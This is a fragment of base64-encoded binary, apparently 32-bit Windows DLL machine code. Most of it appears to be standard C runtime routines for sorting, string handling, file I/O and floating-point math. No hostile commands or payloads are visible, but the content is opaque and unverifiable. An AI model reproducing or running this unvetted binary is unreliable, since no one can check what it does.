gD7fQ6wKL0A+3BmY7x3ILZjvDdwaDwCAPt8CDxgKDbfwBdApmhdJ0BWY70HTCi03wi330i134D7fAD7fSK9B0H4XSeQiNWf+JXfjrBo15AYl99Dv7D45v////g8j/6weLBM3cDgEQX15bi+Vdw4v/VYvsg30IAHQd/3UI6DH///9ZhcB4ED3kAAAAcwmLBMWw/QAQXcMzwF3DzMzMzMzMzMzMzMzMzMzMi/9Vi+xRoSBAARAzxYlF/ItNCFOLXQw72XZsi0UQVleNFAGL8ov5O/N3KOsDjUkAi00UV1b/FUjhABD/VRSDxAiFwH4Ci/6LRRAD8DvzduCLTQiL8IvTO/t0IYXAdB0r+4oCjVIBikwX/4hEF/+ISv+D7gF164tFEItNCCvYjRQBO9l3nl9ei038M81b6LOR//+L5V3DzMzMzMzMzMzMzIv/VYvsi0UMV4t9CDv4dCZWi3UQhfZ0HSv4jZsAAAAAigiNQAGKVAf/iEwH/4hQ/4PuAXXrXl9dw8zMzMzMzMyL/1WL7IHsHAEAAKEgQAEQM8WJRfyLTQiLVQyJjfz+//9Wi3UUibUA////V4t9EIm9BP///4XJdSSF0nQg6Nbh///HABYAAADoD+H//19ei038M83oDJH//4vlXcOF/3TchfZ02MeF+P7//wAAAACD+gIPghIDAABKD6/XUwPRiZUI////i8Iz0ivB9/eNWAGD+wh3FlZX/7UI////Ueh9/v//g8QQ6bcCAADR6w+v3wPZU1GLzomd8P7///8VSOEAEP/Wg8QIhcB+EFdT/7X8/v//6Oj+//+DxAz/tQj///+Lzv+1/P7///8VSOEAEP/Wg8QIhcB+FVf/tQj/////tfz+///otv7//4PEDP+1CP///4vOU/8VSOEAEP/Wg8QIhcB+EFf/tQj///9T6I7+//+DxAyLhQj///+L+Iu1/P7//4uVBP///4mF7P7//5A73nY3A/KJtfT+//8783Mli40A////U1b/FUjhABD/lQD///+LlQT///+DxAiFwH7TO953PYuFCP///4u9AP///wPyO/B3H1NWi8//FUjhABD/14uVBP///4PECIXAi4UI////ftuLvez+//+JtfT+//+LtQD////rBo2bAAAAAIuVBP///yv6O/t2GVNXi87/FUjhABD/1oPECIXAf+GLlQT///+LtfT+//+Jvez+//87/nJeiZXo/v//ib3k/v//O/d0M4vei9eLtej+//8r34oCjVIBikwT/4hEE/+ISv+D7gF164u19P7//4ud8P7//4uVBP///4uFCP///zvfD4X6/v//i96JnfD+///p7f7//wP6O99zMo2kJAAAAAAr+jv7diWLjQD///9TV/8VSOEAEP+VAP///4uVBP///4PECIXAdNk733Ivi7UA////K/o7vfz+//92GVNXi87/FUjhABD/1ouVBP///4PECIXAdN2LtfT+//+LlQj///+Lx4ud/P7//4vKK84rwzvBfDk733MYi4X4/v//iZyFDP///4l8hYRAiYX4/v//i70E////O/JzTIvOi7UA////iY38/v//6Wr9//878nMYi4X4/v//ibSFDP///4lUhYRAiYX4/v//i438/v//i7UA////O89zFYvXi70E////6Sv9//+LtQD////rBou9BP///4uF+P7//4PoAYmF+P7//3gWi4yFDP///4tUhYSJjfz+///p9vz//1uLTfxfM81e6M+N//+L5V3Di/9Vi+xRi1UUi00IVoXSdQ2FyXUNOU0MdSEzwOsuhcl0GYtFDIXAdBKF0nUEiBHr6Yt1EIX2dRnGAQDoPt7//2oWXokw6Hjd//+Lxl6L5V3DUyvxi9hXi/mD+v91EYoEPogHR4TAdCWD6wF18eseigQ+iAdHhMB0CoPrAXQFg+oBdeyF0otVFHUDxgcAX4XbW3WHg/r/dQ2LRQxqUMZEAf8AWOunxgEA6NHd//9qIuuRi/9Vi+xd6UT////MzMzMzMzMzMzMVYvsVjPAUFBQUFBQUFCLVQyNSQCKAgrAdAmDwgEPqwQk6/GLdQiL/4oGCsB0DIPGAQ+jBCRz8Y1G/4PEIF7Jw4v/VYvsagD/dQz/dQjoBQAAAIPEDF3Di/9Vi+yD7BCDfQgAdRToTt3//8cAFgAAAOiH3P//M8DrZ1aLdQyF9nUS6DLd///HABYAAADoa9z//+sFOXUIcgQzwOtD/3UQjU3w6ODP//+LVfiDeggAdByNTv9JOU0IdwoPtgH2RBAZBHXwi8YrwYPgASvwToB9/AB0CotN8IOhUAMAAP2Lxl6L5V3D6Grm//8zyYTAD5TBi8HDi/9Vi+yD7BihIEABEDPFiUX8U1ZX/3UIjU3o6HTP//+LTRyFyXULi0Xsi0AIi8iJRRwzwDP/OUUgV1f/dRQPlcD/dRCNBMUBAAAAUFH/FUDgABCJRfiFwA+EmQAAAI0cAI1LCDvZG8CFwXRKjUsIO9kbwCPBjUsIPQAEAAB3GTvZG8AjwehDkv//i/SF9nRgxwbMzAAA6xk72RvAI8FQ6MjN//+L8FmF9nRFxwbd3QAAg8YI6wKL94X2dDRTV1boKaD//4PEDP91+Fb/dRT/dRBqAf91HP8VQOAAEIXAdBD/dRhQVv91DP8VBOEAEIv4VugnAAAAWYB99AB0CotF6IOgUAMAAP2Lx41l3F9eW4tN/DPN6PmK//+L5V3Di/9Vi+yLRQiFwHQSg+gIgTjd3QAAdQdQ6PjM//9ZXcOL/1WL7FFRoSBAARAzxYlF/FNWi3UYV4X2fhRW/3UU6OoKAABZO8ZZjXABfAKL8It9JIX/dQuLRQiLAIt4CIl9JDPAOUUoagBqAFb/dRQPlcCNBMUBAAAAUFf/FUDgABCJRfiFwA+EjQEAAI0UAI1KCDvRG8CFwXRSjUoIO9EbwCPBjUoIPQAEAAB3HTvRG8Ajwej5kP//i9yF2w+ETAEAAMcDzMwAAOsdO9EbwCPBUOh6zP//i9hZhdsPhC0BAADHA93dAACDwwjrAjPbhdsPhBgBAAD/dfhTVv91FGoBV/8VQOAAEIXAD4T/AAAAi334M8BQUFBQUFdT/3UQ/3UM6DbW//+L8IX2D4TeAAAA90UQAAQAAHQ4i0UghcAPhMwAAAA78A+PwgAAADPJUVFRUP91HFdT/3UQ/3UM6PrV//+L8IX2D4WkAAAA6Z0AAACNFDaNSgg70RvAhcF0So1KCDvRG8AjwY1KCD0ABAAAdxk70RvAI8HoFJD//4v8hf90ZMcHzMwAAOsZO9EbwCPBUOiZy///i/hZhf90SccH3d0AAIPHCOsCM/+F/3Q4agBqAGoAVlf/dfhT/3UQ/3UM6HbV//+FwHQdM8BQUDlFIHU6UFBWV1D/dST/FUTgABCL8IX2dS5X6PT9//9ZM/ZT6Ov9//9Zi8aNZexfXluLTfwzzejNiP//i+Vdw/91IP91HOvAV+jG/f//WevSi/9Vi+yD7BD/dQiNTfDoJ8z///91KI1F9P91JP91IP91HP91GP91FP91EP91DFDor/3//4PEJIB9/AB0CotN8IOhUAMAAP2L5V3Di/9Vi+yDfQgAdRXoENn//8cAFgAAAOhJ2P//g8j/XcP/dQhqAP81YKIBEP8VCOEAEF3Di/9Vi+xXi30Ihf91C/91DOh/yv//WeskVot1DIX2dQlX6DTK//9Z6xCD/uB2Jei62P//xwAMAAAAM8BeX13D6NDt//+FwHTmVugQuv//WYXAdNtWV2oA/zVgogEQ/xUM4QAQhcB02OvSi/9Vi+xRUVNXajBqQOiqyv//i/gz24l9+FlZhf91BIv760iNhwAMAAA7+HQ+Vo13IIv4U2igDwAAjUbgUOiT0///g074/4kejXYwiV7UjUbgx0bYAAAKCsZG3AqAZt34iF7eO8d1zIt9+F5T6IDJ//9Zi8dfW4vlXcOL/1WL7FaLdQiF9nQlU42eAAwAAFeL/jvzdA5X/xWY4AAQg8cwO/t18lboSMn//1lfW15dw2oUaAg3ARDosZL//4F9CAAgAAAbwPfYdRfot9f//2oJXokw6PHW//+LxujUkv//wzP2iXXkagfoLMv//1mJdfyL/qFopAEQiX3gOUUIfB85NL1oogEQdTHo9P7//4kEvWiiARCFwHUUagxeiXXkx0X8/v///+gVAAAA66yhaKQBEIPAQKNopAEQR+u7i3XkagfoGsv//1nDi/9Vi+yLRQiLyIPgP8H5BmvAMAMEjWiiARBQ/xWQ4AAQXcOL/1WL7ItFCIvIg+A/wfkGa8AwAwSNaKIBEFD/FZTgABBdw4v/VYvsU1aLdQhXhfZ4Zzs1aKQBEHNfi8aL/oPgP8H/BmvYMIsEvWiiARD2RAMoAXREg3wDGP90PehbBgAAg/gBdSMzwCvwdBSD7gF0CoPuAXUTUGr06whQavXrA1Bq9v8VOOAAEIsEvWiiARCDTAMY/zPA6xbofNb//8cACQAAAOhe1v//gyAAg8j/X15bXcOL/1WL7ItNCIP5/nUV6EHW//+DIADoTNb//8cACQAAAOtDhcl4JzsNaKQBEHMfi8GD4T/B+AZryTCLBIVoogEQ9kQIKAF0BotECBhdw+gB1v//gyAA6AzW///HAAkAAADoRdX//4PI/13Di/9Vi+yLTQiD+f51Dejq1f//xwAJAAAA6ziFyXgkOw1opAEQcxyLwYPhP8H4BmvJMIsEhWiiARAPtkQIKIPgQF3D6LXV///HAAkAAADo7tT//zPAXcOL/1WL7ItNCFaNcQyLBiQDPAJ0BDPA60uLBqjAdPaLQQRXizkr+IkBg2EIAIX/fjBXUFHoCez//1lQ6M4LAACDxAw7+HQLahBY8AkGg8j/6xGLBsHoAqgBdAZq/VjwIQYzwF9eXcOL/1WL7FaLdQiF9nUJVug9AAAAWesuVuh+////WYXAdAWDyP/rHotGDMHoC6gBdBJW6KXr//9Q6GwFAABZWYXAdd8zwF5dw2oB6AIAAABZw2ocaCg3ARDozI///4Nl5ACDZdwAagjoaMj//1mDZfwAizWUpAEQoZCkARCNBIaJRdSLXQiJdeA78HR0iz6JfdiF/3RWV+h77P//WcdF/AEAAACLRwzB6A2oAXQyg/sBdRFX6En///9Zg/j/dCH/ReTrHIXbdRiLRwzR6KgBdA9X6Cv///9Zg/j/dQMJRdyDZfwA6A4AAACLRdSDxgTrlYtdCIt14P912Ogs7P//WcPHRfz+////6BQAAACD+wGLReR0A4tF3OhTj///w4tdCGoI6PXH//9Zw4v/VYvsg+wQ/3UMjU3w6NTG//+LRfQPtk0IiwAPtwRIJQCAAACAffwAdAqLTfCDoVADAAD9i+Vdw2oQaFA3ARDou47//4Nl5ABqCOhbx///WYNl/ABqA16JdeA7NZCkARB0WKGUpAEQiwSwhcB0SYtADMHoDagBdBahlKQBEP80sOh2EAAAWYP4/3QD/0XkoZSkARCLBLCDwCBQ/xWY4AAQoZSkARD/NLDo18T//1mhlKQBEIMksABG653HRfz+////6AkAAACLReTod47//8NqCOgcx///WcOL/1WL7FaLdQhXjX4MiwfB6A2oAXQkiwfB6AaoAXQb/3YE6IXE//9ZuL/+///wIQczwIlGBIkGiUYIX15dw4v/VYvsVot1CIX2D4TqAAAAi0YMOwUsRwEQdAdQ6EzE//9Zi0YQOwUwRwEQdAdQ6DrE//9Zi0YUOwU0RwEQdAdQ6CjE//9Zi0YYOwU4RwEQdAdQ6BbE//9Zi0YcOwU8RwEQdAdQ6ATE//9Zi0YgOwVARwEQdAdQ6PLD//9Zi0YkOwVERwEQdAdQ6ODD//9Zi0Y4OwVYRwEQdAdQ6M7D//9Zi0Y8OwVcRwEQdAdQ6LzD//9Zi0ZAOwVgRwEQdAdQ6KrD//9Zi0ZEOwVkRwEQdAdQ6JjD//9Zi0ZIOwVoRwEQdAdQ6IbD//9Zi0ZMOwVsRwEQdAdQ6HTD//9ZXl3Di/9Vi+xWi3UIhfZ0WYsGOwUgRwEQdAdQ6FPD//9Zi0YEOwUkRwEQdAdQ6EHD//9Zi0YIOwUoRwEQdAdQ6C/D//9Zi0YwOwVQRwEQdAdQ6B3D//9Zi0Y0OwVURwEQdAdQ6AvD//9ZXl3Di/9Vi+yLRQxTVot1CFcz/40EhovIK86DwQPB6QI7xhvb99Mj2XQQ/zbo2cL//0eNdgRZO/t18F9eW13Di/9Vi+xWi3UIhfYPhNAAAABqB1boq////41GHGoHUOig////jUY4agxQ6JX///+NRmhqDFDoiv///42GmAAAAGoCUOh8/////7agAAAA6HjC////tqQAAADobcL///+2qAAAAOhiwv//jYa0AAAAagdQ6E3///+NhtAAAABqB1DoP////4PERI2G7AAAAGoMUOgu////jYYcAQAAagxQ6CD///+NhkwBAABqAlDoEv////+2VAEAAOgOwv///7ZYAQAA6APC////tlwBAADo+MH///+2YAEAAOjtwf//g8QoXl3Di/9Vi+yLTQgzwDgBdAw7RQx0B0CAPAgAdfRdw6GkpAEQw2oMaHA3ARDoNIv//zP2iXXki0UI/zDoAPn//1mJdfyLRQyLAIs4i9fB+gaLx4PgP2vIMIsElWiiARD2RAgoAXQhV+ir+f//WVD/FTDgABCFwHUd6O3P//+L8P8VPOAAEIkG6PHP///HAAkAAACDzv+JdeTHRfz+////6A0AAACLxugAi///wgwAi3Xki00Q/zHoqPj//1nDi/9Vi+yD7AyLRQiNTf+JRfiJRfSNRfhQ/3UMjUX0UOhE////i+Vdw4v/VYvsUVaLdQiD/v51DeiEz///xwAJAAAA60uF9ng3OzVopAEQcy+LxovWg+A/wfoGa8gwiwSVaKIBEPZECCgBdBSNRQiJRfyNRfxQVuiF////WVnrE+g8z///xwAJAAAA6HXO//+DyP9ei+Vdw4v/VYvsg+w4oSBAARAzxYlF/ItFDIvIg+A/wfkGU2vYMFaLBI1oogEQV4t9EIl90IlN1ItEGBiJRdiLRRQDx4lF3P8VLOAAEIt1CItN3IlFyDPAiQaJRgSJRgg7+Q+DPQEAAIovM8BmiUXoi0XUiG3lixSFaKIBEIpMGi32wQR0GYpEGi6A4fuIRfSNRfRqAoht9YhMGi1Q6zro5Ob//w+2D7oAgAAAZoUUSHQkO33cD4PBAAAAagKNRehXUOiO5P//g8QMg/j/D4TSAAAAR+sYagFXjUXoUOhz5P//g8QMg/j/D4S3AAAAM8mNRexRUWoFUGoBjUXoR1BR/3XI/xVE4AAQiUXMhcAPhJEAAABqAI1N4FFQjUXsUP912P8VNOAAEIXAdHGLRggrRdADx4lGBItFzDlF4HJmgH3lCnUsag1YagBmiUXkjUXgUGoBjUXkUP912P8VNOAAEIXAdDiDfeABcjr/Rgj/RgQ7fdwPgu7+///rKYtV1IoHiwyVaKIBEIhEGS6LBJVoogEQgEwYLQT/RgTrCP8VPOAAEIkGi038i8ZfXjPNW+jHfP//i+Vdw4v/VYvsUVNWi3UIM8BXi30MiQaJRgSJRgiLRRADx4lF/Dv4cz8Ptx9T6BELAABZZjvDdSiDRgQCg/sKdRVqDVtT6PkKAABZZjvDdRD/RgT/RgiDxwI7ffxyy+sI/xU84AAQiQZfi8ZeW4vlXcOL/1WL7FFWi3UIVuj99v//WYXAdQQywOtYV4v+g+Y/wf8Ga/YwiwS9aKIBEPZEMCiAdB/oYcT//4tATIO4qAAAAAB1EosEvWiiARCAfDApAHUEMsDrGo1F/FCLBL1oogEQ/3QwGP8VKOAAEIXAD5XAX16L5V3Di/9Vi+y4EBQAAOh8if//oSBAARAzxYlF/ItNDIvBwfgGg+E/a8kwU4tdEIsEhWiiARBWi3UIV4tMCBiLRRSDJgADw4NmBACDZggAiY3w6///iYX46///62WNvfzr//872HMeigNDPAp1B/9GCMYHDUeIB41F+0c7+IuF+Ov//3LejYX86///K/iNhfTr//9qAFBXjYX86///UFH/FTTgABCFwHQfi4X06///AUYEO8dyGouF+Ov//4uN8Ov//zvYcpfrCP8VPOAAEIkGi038i8ZfXjPNW+gFe///i+Vdw4v/VYvsuBAUAADonYj//6EgQAEQM8WJRfyLTQyLwcH4BoPhP2vJMFOLXRCLBIVoogEQVot1CFeLTAgYi0UUA8OJjfDr//8z0omF+Ov//4kWiVYEiVYI63WNvfzr//872HMrD7cDg8MCg/gKdQ2DRggCag1aZokXg8cCZokHjUX6g8cCO/iLhfjr//9y0Y2F/Ov//yv4jYX06///agBQg+f+jYX86///V1BR/xU04AAQhcB0H4uF9Ov//wFGBDvHchqLhfjr//+LjfDr//872HKH6wj/FTzgABCJBotN/IvGX14zzVvoF3r//4vlXcOL/1WL7LgYFAAA6K+H//+hIEABEDPFiUX8i00Mi8HB+AaD4T9ryTBTVosEhWiiARAz24t1CFeLRAgYi00Qi/mJhezr//+LRRQDwYkeiV4EiYX06///iV4IO8gPg7oAAACLtfTr//+NhVD5//87/nMhD7cPg8cCg/kKdQlqDVpmiRCDwAJmiQiDwAKNTfg7wXLbU1NoVQ0AAI2N+Ov//1GNjVD5//8rwdH4UIvBUFNo6f0AAP8VROAAEIt1CImF6Ov//4XAdExqAI2N8Ov//yvDUVCNhfjr//8Dw1D/tezr////FTTgABCFwHQnA53w6///i4Xo6///O9hyy4vHK0UQiUYEO7306///cw8z2+lO/////xU84AAQiQaLTfyLxl9eM81b6Op4//+L5V3DahRokDcBEOh1hP//i3UIg/7+dRjobcn//4MgAOh4yf//xwAJAAAA6bYAAACF9g+IlgAAADs1aKQBEA+DigAAAIvewfsGi8aD4D9ryDCJTeCLBJ1oogEQD7ZECCiD4AF0aVbo9fH//1mDz/+JfeSDZfwAiwSdaKIBEItN4PZECCgBdRXoEcn//8cACQAAAOjzyP//gyAA6xT/dRD/dQxW6EcAAACDxAyL+Il95MdF/P7////oCgAAAIvH6ymLdQiLfeRW6Lfx//9Zw+i3yP//gyAA6MLI///HAAkAAADo+8f//4PI/+jdg///w4v/VYvsg+wwoSBAARAzxYlF/ItNEIlN+FaLdQhXi30MiX3Qhcl1BzPA6c4BAACF/3Uf6GTI//8hOOhwyP//xwAWAAAA6KnH//+DyP/pqwEAAFOLxovewfsGg+A/a9AwiV3kiwSdaKIBEIlF1IlV6IpcECmA+wJ0BYD7AXUoi8H30KgBdR3oEcj//4MgAOgcyP//xwAWAAAA6FXH///pUQEAAItF1PZEECggdA9qAmoAagBW6EkEAACDxBBW6OT6//9ZhMB0OYTbdCL+y4D7AQ+H7gAAAP91+I1F7FdQ6Fb6//+DxAyL8OmcAAAA/3X4jUXsV1ZQ6Iv4//+DxBDr5otF5IsMhWiiARCLRej2RAEogHRGD77Dg+gAdC6D6AF0GYPoAQ+FmgAAAP91+I1F7FdWUOjD+///68H/dfiNRexXVlDoofz//+ux/3X4jUXsV1ZQ6MT6///roYtEARgzyVGJTeyJTfCJTfSNTfBR/3X4V1D/FTTgABCFwHUJ/xU84AAQiUXsjXXsjX3YpaWli0XchcB1Y4tF2IXAdCRqBV47xnUU6AbH///HAAkAAADo6Mb//4kw6zxQ6LvG//9Z6zOLfdCLReSLTeiLBIVoogEQ9kQIKEB0CYA/GnUEM8DrG+jJxv//xwAcAAAA6KvG//+DIACDyP/rAytF4FuLTfxfM81e6PN1//+L5V3DzMzMzMzMzMzMzIM9vKQBEAAPhIIAAACD7AgPrlwkBItEJAQlgH8AAD2AHwAAdQ/ZPCRmiwQkZoPgf2aD+H+NZCQIdVXpmQQAAJCDPbykARAAdDKD7AgPrlwkBItEJAQlgH8AAD2AHwAAdQ/ZPCRmiwQkZoPgf2aD+H+NZCQIdQXpRQQAAIPsDN0UJOhSCwAA6A0AAACDxAzDjVQkBOj9CgAAUpvZPCR0TItEJAxmgTwkfwJ0BtktOCABEKkAAPB/dF6pAAAAgHVB2ezZydnxgz2opAEQAA+FHAsAAI0NMB4BELobAAAA6RkLAACpAAAAgHUX69Sp//8PAHUdg3wkCAB1FiUAAACAdMXd2Nst8B8BELgBAAAA6yLoaAoAAOsbqf//DwB1xYN8JAgAdb7d2Nstmh8BELgCAAAAgz2opAEQAA+FsAoAAI0NMB4BELobAAAA6KkLAABaw4M9vKQBEAAPhO4NAACD7AgPrlwkBItEJAQlgH8AAD2AHwAAdQ/ZPCRmiwQkZoPgf2aD+H+NZCQID4W9DQAA6wDzD35EJARmDygVUB4BEGYPKMhmDyj4Zg9z0DRmD37AZg9UBXAeARBmD/rQZg/TyqkACAAAdEw9/wsAAHx9Zg/zyj0yDAAAfwtmD9ZMJATdRCQEw2YPLv97JLrsAwAAg+wQiVQkDIvUg8IUiVQkCIlUJASJFCToKQsAAIPEEN1EJATD8w9+RCQEZg/zymYPKNhmD8LBBj3/AwAAfCU9MgQAAH+wZg9UBUAeARDyD1jIZg/WTCQE3UQkBMPdBYAeARDDZg/CHWAeARAGZg9UHUAeARBmD9ZcJATdRCQEw4v/VYvsUVFWi3UIV1bos+3//4PP/1k7x3UR6AzE///HAAkAAACLx4vX603/dRSNTfhR/3UQ/3UMUP8VJOAAEIXAdQ//FTzgABBQ6KbD//9Z69OLRfiLVfwjwjvHdMeLRfiLzoPmP8H5Bmv2MIsMjWiiARCAZDEo/V9ei+Vdw4v/VYvs/3UU/3UQ/3UM/3UI6Gz///+DxBBdw4v/VYvsVot1CIX2dRXogMP//8cAFgAAAOi5wv//g8j/61GLRgxXg8//wegNqAF0OVbotu3//1aL+OgV8P//Vujp2f//UOheDQAAg8QQhcB5BYPP/+sTg34cAHQN/3Yc6Ju0//+DZhwAWVboVA4AAFmLx19eXcNqEGiwNwEQ6Ph9//+LdQiJdeAzwIX2D5XAhcB1Fej6wv//xwAWAAAA6DPC//+DyP/rO4tGDMHoDFaoAXQI6AsOAABZ6+iDZeQA6KPa//9Zg2X8AFboMf///1mL8Il15MdF/P7////oCwAAAIvG6Nh9///Di3Xk/3Xg6Ifa//9Zw8zMzMxVi+xXVlOLTRALyXRNi3UIi30Mt0GzWrYgjUkAiiYK5IoHdCcKwHQjg8YBg8cBOudyBjrjdwIC5jrHcgY6w3cCAsY64HULg+kBddEzyTrgdAm5/////3IC99mLwVteX8nDi/9Vi+xRoXBHARCD+P51CuiODQAAoXBHARCD+P91B7j//wAA6xtqAI1N/FFqAY1NCFFQ/xUc4AAQhcB04maLRQiL5V3DagrouxkAAKO8pAEQM8DDzMzMzMzMzMzMzMxVi+yD7AiD5PDdHCTzD34EJOgIAAAAycNmDxJEJAS6AAAAAGYPKOhmDxTAZg9z1TRmD8XNAGYPKA2QHgEQZg8oFaAeARBmDygdAB8BEGYPKCWwHgEQZg8oNcAeARBmD1TBZg9Ww2YPWOBmD8XEACXwBwAAZg8ooOAkARBmDyi40CABEGYPVPBmD1zGZg9Z9GYPXPLyD1j+Zg9ZxGYPKOBmD1jGgeH/DwAAg+kBgfn9BwAAD4e+AAAAgen+AwAAA8ryDyrxZg8U9sHhCgPBuRAAAAC6AAAAAIP4AA9E0WYPKA1QHwEQZg8o2GYPKBVgHwEQZg9ZyGYPWdtmD1jKZg8oFXAfARDyD1nbZg8oLdAeARBmD1n1Zg8oquAeARBmD1TlZg9Y/mYPWPxmD1nI8g9Z2GYPWMpmDygVgB8BEGYPWdBmDyj3Zg8V9mYPWcuD7BBmDyjBZg9YymYPFcDyD1jB8g9YxvIPWMdmDxNEJATdRCQEg8QQw2YPEkQkBGYPKA0QHwEQ8g/CyABmD8XBAIP4AHdIg/n/dF6B+f4HAAB3bGYPEkQkBGYPKA2QHgEQZg8oFQAfARBmD1TBZg9WwvIPwtAAZg/FwgCD+AB0B90FOB8BEMO66QMAAOtPZg8SFQAfARDyD17QZg8SDTAfARC6CAAAAOs0Zg8SDSAfARDyD1nBusz////pF/7//4PBAYHh/wcAAIH5/wcAAHM6Zg9XyfIPXsm6CQAAAIPsHGYPE0wkEIlUJAyL1IPCEIlUJAiDwhCJVCQEiRQk6CQGAADdRCQQg8Qcw2YPElQkBGYPEkQkBGYPftBmD3PSIGYPftGB4f//DwALwYP4AHSguukDAADrpo2kJAAAAADrA8zMzMaFcP////4K7XU72cnZ8esNxoVw/////jLt2ereyegrAQAA2ejewfaFYf///wF0BNno3vH2wkB1Atn9Cu10Atng6bICAADoRgEAAAvAdBQy7YP4AnQC9tXZydnh66/ptQIAAOlLAwAA3djd2NstkB8BEMaFcP///wLD2e3Zydnkm929YP///5v2hWH///9BddLZ8cPGhXD///8C3djbLZofARDDCsl1U8PZ7OsC2e3ZyQrJda7Z8cPpWwIAAOjPAAAA3djd2ArJdQ7Z7oP4AXUGCu10Atngw8aFcP///wLbLZAfARCD+AF17QrtdOnZ4Ovl3djpDQIAAN3Y6bUCAABY2eSb3b1g////m/aFYf///wF1D93Y2y2QHwEQCu10Atngw8aFcP///wTp1wEAAN3Y3djbLZAfARDGhXD///8DwwrJda/d2NstkB8BEMPZwNnh2y2uHwEQ3tmb3b1g////m/aFYf///0F1ldnA2fzZ5JvdvWD///+bipVh////2cnY4dnkm929YP///9nh2fDD2cDZ/NjZm9/gnnUa2cDcDcIfARDZwNn83tmb3+CedA24AQAAAMO4AAAAAOv4uAIAAADr8VaD7HSL9FaD7AjdHCSD7AjdHCSb3XYI6B8KAACDxBTdZgjdBoPEdF6FwHQF6dABAADDzMzMzMzMzMzMgHoOBXURZoudXP///4DPAoDn/rM/6wRmuz8TZomdXv///9mtXv///7seIAEQ2eWJlWz///+b3b1g////xoVw////AJuKjWH////Q4dD50MGKwSQP1w++wIHhBAQAAIvaA9iDwxD/I4B6DgV1EWaLnVz///+AzwKA5/6zP+sEZrs/E2aJnV7////ZrV7///+7HiABENnliZVs////m929YP///8aFcP///wDZyYqNYf///9nlm929YP///9nJiq1h////0OXQ/dDFisUkD9eK4NDh0PnQwYrBJA/X0OTQ5ArED77AgeEEBAAAi9oD2IPDEP8j6M4AAADZyd3Yw+jEAAAA6/bd2N3Y2e7D3djd2NnuhO10Atngw93Y3djZ6MPbvWL////brWL////2hWn///9AdAjGhXD///8Aw8aFcP///wDcBQ4gARDD2cnbvWL////brWL////2hWn///9AdAnGhXD///8A6wfGhXD///8A3sHD271i////261i////9oVp////QHQg2cnbvWL////brWL////2hWn///9AdAnGhXD///8A6wfGhXD///8B3sHD3djd2Nst8B8BEIC9cP///wB/B8aFcP///wEKycPd2N3Y2y0EIAEQCu10AtngCsl0CN0FFiABEN7JwwrJdALZ4MPMzMzMzMzMzMzMzMzZwNn83OHZydng2fDZ6N7B2f3d2cOLVCQEgeIAAwAAg8p/ZolUJAbZbCQGw6kAAAgAdAa4AAAAAMPcBTAgARC4AAAAAMOLQgQlAADwfz0AAPB/dAPdAsOLQgSD7AoNAAD/f4lEJAaLQgSLCg+kyAvB4QuJRCQEiQwk2ywkg8QKqQAAAACLQgTDi0QkCCUAAPB/PQAA8H90AcOLRCQIw2aBPCR/AnQD2SwkWsNmiwQkZj1/AnQeZoPgIHQVm9/gZoPgIHQMuAgAAADo2QAAAFrD2SwkWsOD7AjdFCSLRCQEg8QIJQAA8H/rFIPsCN0UJItEJASDxAglAADwf3Q9PQAA8H90X2aLBCRmPX8CdCpmg+AgdSGb3+Bmg+AgdBi4CAAAAIP6HXQH6HsAAABaw+hdAAAAWsPZLCRaw90FXCABENnJ2f3d2dnA2eHcHUwgARCb3+CeuAQAAABzx9wNbCABEOu/3QVUIAEQ2cnZ/d3Z2cDZ4dwdRCABEJvf4J64AwAAAHae3A1kIAEQ65bMzMzMVYvsg8TgiUXgi0UYiUXwi0UciUX06wlVi+yDxOCJReDdXfiJTeSLRRCLTRSJReiJTeyNRQiNTeBQUVLoWwcAAIPEDN1F+GaBfQh/AnQD2W0IycOL/1WL7IPsJKEgQAEQM8WJRfyDPaykARAAVld0EP81uKQBEP8VGOAAEIv46wW/JoIAEItFFIP4Gg+PIQEAAA+EDwEAAIP4Dg+PpwAAAA+EjgAAAGoCWSvBdHiD6AF0aoPoBXRWg+gBD4WbAQAAx0XgeCABEItFCIvPi3UQx0XcAQAAAN0Ai0UM3V3k3QCNRdzdXezdBlDdXfT/FUjhABD/11mFwA+FWQEAAOi2uP//xwAhAAAA6UkBAACJTdzHReB4IAEQ6QQBAADHReB0IAEQ66KJTdzHReB0IAEQ6ewAAADHRdwDAAAAx0XggCABEOnZAAAAg+gPdFGD6Al0Q4PoAQ+FAQEAAMdF4IQgARCLRQiLz4t1EMdF3AQAAADdAItFDN1d5N0AjUXc3V3s3QZQ3V30/xVI4QAQ/9dZ6cIAAADHRdwDAAAA63zHReCAIAEQ67vZ6ItFEN0Y6akAAACD6Bt0W4PoAXRKg+gVdDmD6Al0KIPoA3QXLasDAAB0CYPoAQ+FgAAAAItFCN0A68bHReCIIAEQ6dn+///HReCQIAEQ6c3+///HReCYIAEQ6cH+///HReCEIAEQ6bX+///HRdwCAAAAx0XghCABEItFCIvPi3UQ3QCLRQzdXeTdAI1F3N1d7N0GUN1d9P8VSOEAEP/XWYXAdQvoaLf//8cAIgAAAN1F9N0ei038XzPNXuieZv//i+Vdw4v/VYvsUVFTVr7//wAAVmg/GwAA6OkCAADdRQiL2FlZD7dNDrjwfwAAI8hRUd0cJGY7yHU36OENAABIWVmD+AJ3DlZT6LkCAADdRQhZWetj3UUI3QWgIAEQU4PsENjB3VwkCN0cJGoMagjrP+jKBQAA3VX43UUIg8QI3eHf4PbERHoSVt3ZU93Y6HQCAADdRfhZWese9sMgdelTg+wQ2cndXCQI3RwkagxqEOjVBQAAg8QcXluL5V3Dagxo0DcBEOhwcf//g2XkAItFCP8w6D3f//9Zg2X8AItFDIsAizCL1sH6BovGg+A/a8gwiwSVaKIBEPZECCgBdAtW6OIAAABZi/DrDuhDtv//xwAJAAAAg87/iXXkx0X8/v///+gNAAAAi8boUnH//8IMAIt15ItFEP8w6Pre//9Zw4v/VYvsg+wMi0UIjU3/iUX4iUX0jUX4UP91DI1F9FDoWv///4vlXcOL/1WL7FFWi3UIg/7+dRXow7X//4MgAOjOtf//xwAJAAAA61OF9ng3OzVopAEQcy+LxovWg+A/wfoGa8gwiwSVaKIBEPZECCgBdBSNRQiJRfyNRfxQVuh9////WVnrG+hztf//gyAA6H61///HAAkAAADot7T//4PI/16L5V3Di/9Vi+xWV4t9CFfo9d7//1mD+P91BDP2606haKIBEIP/AXUJ9oCIAAAAAXULg/8CdRz2QFgBdBZqAujG3v//agGL8Oi93v//WVk7xnTIV+ix3v//WVD/FSDgABCFwHW2/xU84AAQi/BX6Abe//9Zi8+D5z/B+QZr1zCLDI1oogEQxkQRKACF9nQMVuiltP//WYPI/+sCM8BfXl3Di/9Vi+yLRQgzyYkIi0UIiUgEi0UIiUgIi0UIg0gQ/4tFCIlIFItFCIlIGItFCIlIHItFCIPADIcIXcMzwFBQagNQagNoAAAAQGioIAEQ/xUU4AA